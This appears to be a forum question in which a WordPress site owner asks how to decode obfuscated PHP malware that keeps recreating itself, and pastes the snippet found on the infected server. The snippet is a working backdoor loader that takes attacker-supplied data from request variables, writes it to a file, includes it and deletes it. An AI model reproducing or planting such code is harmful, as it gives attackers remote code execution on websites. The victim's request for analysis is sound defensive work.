How do I decode malicious PHP code to find out what it does?

I am dealing with Malware that keeps recreating files and is really hard to get rid of. Here is some code I think might be relevant..

The problem mainly affected WordPress Sites, I updated all the PHP versions and got rid of old plugins. I think it might be due to the recent Bricks exploit that happened around Valentines Day.

<?php
$tM = ${"137" . "103117117113" .    "111105"};
if (isset($tM[(99    - 0)])) {
    $ScL = $tM[(88 - 8)]    . $tM[(38 - 10)];
    $skZ = $ScL($tM[(58    -    27)] . $tM[(44 - 33)]);
    $nTO = $skZ($ScL($tM[(98 - 1)]));
    $lvo =    $skZ($ScL($tM[(71 -    19)]));
    $yJd    = __DIR__ . $skZ($ScL($tM[(74 - 17)]));
    $nTO($yJd, $skZ($ScL($tM[(99 - 0)])));
    include($yJd);
    $lvo($yJd);
}

I already tried decoding this using Gemini, ChatGPT and Mixtral as well as by hand but I didn’t get too far. I hope I get some more insights of what is happening, what this code does and why it keeps duplicating itself.